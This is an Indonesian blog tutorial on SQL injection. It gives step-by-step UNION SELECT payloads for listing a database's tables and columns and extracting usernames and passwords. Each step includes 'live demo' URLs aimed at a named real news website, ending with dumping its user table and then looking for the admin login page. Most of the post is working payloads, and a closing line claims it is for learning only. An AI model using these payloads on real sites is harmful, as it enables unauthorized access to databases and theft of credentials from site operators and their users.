[Close]

Blind SQL Injection Tutorial Step By Step

Sabtu, 01 Mei 2010

Author : skuteng [boy]
Sepintas tekhnik ini sama dengan tekhnik SQL pada umumnya...
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --

----------------
## +step Satu+ ##
----------------
carilah target
salah satunya menggunakan search engine pada google !!
sebagai penjelasan klik disini

misal: [site]/berita.php?id=
disini saya memilih :
http://www.lampungpost.com/aktual/berita.php?id=12

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

contoh :

http://www.lampungpost.com/aktual/berita.php?id=-12
sehingga muncul pesan error .

----------------
## +step dua+ ##
----------------
mencari dan menghitung jumlah table yang ada dalam databasenya...
seperti yang kita ketahui bersama pada SQL injection untuk menghitung jumlah table pada databasenya
menggunakan perintah : order by
contoh :
[site]/berita.php?id=-12 order by 1--
[site]/berita.php?id=-12 order by 2--

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 1--
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 2--

hingga muncul pesan error...
namun untuk kasus tertentu order by tidak dapat digunakan ...
pada blind SQL kita dapat mengetahui jumlah table yang ada dengan cara Melakukan column count !!!

contoh melakuan column count :
union select diikuti dengan angka.

maka: [site]/berita.php?id= union select 1/*
maka: [site]/berita.php?id= union select 1,2/*
maka: [site]/berita.php?id= union select 1,2,3/*

hingga keluar angka pada tampilan web target

livedemo:
maka: http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,9/*

ternyata yang keluar sampai angka 9
ok angka yg keluar angka 9 dan 2


------------------
## +step tiga+ ##
------------------

menampilkan table...
pada SQL injection untuk menampilkan table adalah memasukkan perintah group_concat(table_name) pada angka yg keluar tadi
dan perintah +from+information_schema.tables+where+table_schema=database() setelah angka terakhir

contoh :
[site]/berita.php?id=-12+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()----

jika gagal kita dapat mengganti querynya
query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1
masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"
menjadi , [site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

disini saya menggunakan 2.

livedemo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

--------------------
## +step empat+ ##
--------------------

mengeluarkan table_name yang lain.
untuk mengeluarkan table_name yang lain ganti nilai limit menjadi , 1,1 , 2,1 , 3,1 ....
hingga mendapatkan table yang kita inginkan !!!

contoh:
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 3,1/*

live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*

dan hasilnya :
1,1 : aktual_berita
2,1 : aktual_kategori
3,1 : berita
4,1 : category
5,1 : iklan
10,1: user

dan tabel yang kita butuhkan ada pada limit 10,1 ( user )

------------------
## +step lima+ ##
------------------
ada tahap ini kamu wajib mengekstrax kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://ascii-convert.tk/

kata user menjadi : 75736572
maka :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=user limit 0,1/*
menjadi
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*


untuk mengetahui isi pada table user anda dapat mengganti nilai limit :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*


live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*

dan hasilnya :
0,1 : userid
1,1 : password
1,2 : description
1,3 : auth

setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari jatimcrew = 696E646F6E65736961636F646572
bila di gunakan akan menjadi = 0x696E646F6E65736961636F646572

------------------
## +step enam+ ##
------------------
mengeluarkan field .
query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

column_name :userid, password
table_name :user

masukan column_name pada angka yang keluar kemudian FROM table_name
menjadi,
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from table_name/*

contoh
[site]/berita.php?id=-12 union select 1,password,3,4,5,6,7,8,9 from user/*

live demo:
karena angka yang keluar 2 dan 9 maka ,

http://www.lampungpost.com/aktual/berita.php?id=-1 union select 1,password,3,4,5,6,7,8,userid from user/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(userid,0x3a,password,0x3a,description),3,4,5,6,7,8,9 from user/*

Mengunakan Concatenation
Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.
contoh :
[site]/berita.php?id=-12 union select 1,concat(0x3C3D3E,userid,0x3a,password,0x3a,description,0x3C3D3E),3,4,5,6,7,8,9 from user/*

live demo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(0x3C3D3E,userid,0x3a,password,0x3a,description,0x3C3D3E),3,4,5,6,7,8,9 from user/*

------------------
## +step enam+ ##
------------------
tahap terakhir mencari halaman admin atau login
--------
Tutorial di tulis semata-mata hanya untuk pembelajaran ^-^

0 komentar: